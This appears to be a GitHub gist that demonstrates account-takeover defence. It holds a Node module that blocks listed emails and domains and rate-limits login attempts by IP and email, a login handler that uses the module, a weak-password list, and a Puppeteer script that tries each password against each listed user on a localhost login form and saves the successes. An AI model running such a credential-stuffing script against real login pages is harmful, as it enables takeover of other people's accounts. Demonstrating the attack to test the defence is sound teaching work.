Created
August 13, 2019 14:55
-
-
Save zrosenbauer/1c60826f99d5fb8a5a3f1c87de97d42f to your computer and use it in GitHub Desktop.
Revisions
-
zrosenbauer created this gist
Aug 13, 2019 .There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,61 @@ 'use strict'; const Redis = require('ioredis'); const redis = new Redis('cache:6379'); const blockList = [ '[email protected]' ]; const badEmailDomains = [ 'hacker.com' ]; const badEmailHandles = [ 'iamahacker' ]; const MINUTES_15 = 60 * 15; async function assertSafe ({ email, ipAddress }) { const [handle, domain] = email.split('@'); if (blockList.includes(email)) { throw new Error('ATOStopper: Blocked email'); } if (badEmailHandles.includes(handle)) { throw new Error('ATOStopper: Blocked email handle'); } if (badEmailDomains.includes(domain)) { throw new Error('ATOStopper: Blocked email domain'); } const [ipResult] = await redis .pipeline() .incr(`ipAddress:${ipAddress}`) .expire(`ipAddress:${ipAddress}`, MINUTES_15) .get(`ipAddress:${ipAddress}`) .exec(); const [, ipAddressCount] = ipResult; if (ipAddressCount > 20) { throw new Error('ATOStopper: IP Address Velocity Exceeded'); } const [emailResult] = await redis .pipeline() .incr(`email:${email}`) .expire(`email:${email}`, MINUTES_15) .get(`email:${email}`) .exec(); const [, emailCount] = emailResult; if (emailCount > 7) { throw new Error('ATOStopper: Email Velocity Exceeded'); } } module.exports = { assertSafe }; This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,13 @@ [ "12345678", "123456", "123456789", "admin", "qwerty", "password", "111111", "abc123", "1234567", "password1", "12345" ] This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,68 @@ /* eslint-disable */ const fs = require('fs'); const util = require('util'); const path = require('path'); const puppeteer = require('puppeteer'); const writeFile = util.promisify(fs.writeFile); const userList = require('./user_list.json'); const badPasswords = require('./bad_passwords.json'); const results = { success: [], failure: 0 }; const LOGIN_URL = 'http://localhost:8080/login'; async function testLogin (email, password) { try { console.log(`Testing Password: ${password}`); const browser = await puppeteer.launch(); const page = await browser.newPage(); // Navigate to the login page console.log('Navigating to login...'); await page.goto('http://localhost:8080/login'); // Handle filling out the form & submitting console.log('Filling out form...'); await page.type('#email', email); await page.type('#password', password); console.log('Submitting...'); await page.click('[type="submit"]'); // Validate success await page.waitFor(1000); if (page.url() === LOGIN_URL) { throw new Error('Failed to login'); } results.success.push({ email, password }); console.log('Succeed!\n\n'); await browser.close(); } catch (err) { console.error(err); console.log('Failed :(\n\n'); results.failure++; } } (async () => { for (const email of userList) { // loop through bad passwords for each email for (const password of badPasswords) { console.log(`Testing Email: ${email}`); await testLogin(email, password); } } console.log(`Success: ${results.success.length}`); console.log(`Failed: ${results.failure}`); await writeFile(path.join(__dirname, 'results.json'), JSON.stringify(results.success)); })(); This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,41 @@ // other stuff above /** * POST /login * Sign in using email and password. */ exports.postLogin = (req, res, next) => { ATOStopper.assertSafe({ email: req.body.email, ipAddress: req.headers['x-forwarded-for'] || req.connection.remoteAddress }).then(() => { const validationErrors = []; if (!validator.isEmail(req.body.email)) validationErrors.push({ msg: 'Please enter a valid email address.' }); if (validator.isEmpty(req.body.password)) validationErrors.push({ msg: 'Password cannot be blank.' }); if (validationErrors.length) { req.flash('errors', validationErrors); return res.redirect('/login'); } req.body.email = validator.normalizeEmail(req.body.email, { gmail_remove_dots: false }); passport.authenticate('local', (err, user, info) => { if (err) { return next(err); } if (!user) { req.flash('errors', info); return res.redirect('/login'); } req.logIn(user, (err) => { if (err) { return next(err); } req.flash('success', { msg: 'Success! You are logged in.' }); res.redirect(req.session.returnTo || '/'); }); })(req, res, next); }).catch((err) => { console.error(err); req.flash('errors', [{ msg: 'Invalid email or password.' }]); return res.redirect('/login'); }); }; // other stuff below This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,11 @@ [ "[email protected]", "[email protected]", "[email protected]", "[email protected]", "[email protected]", "[email protected]", "[email protected]", "[email protected]", "[email protected]" ]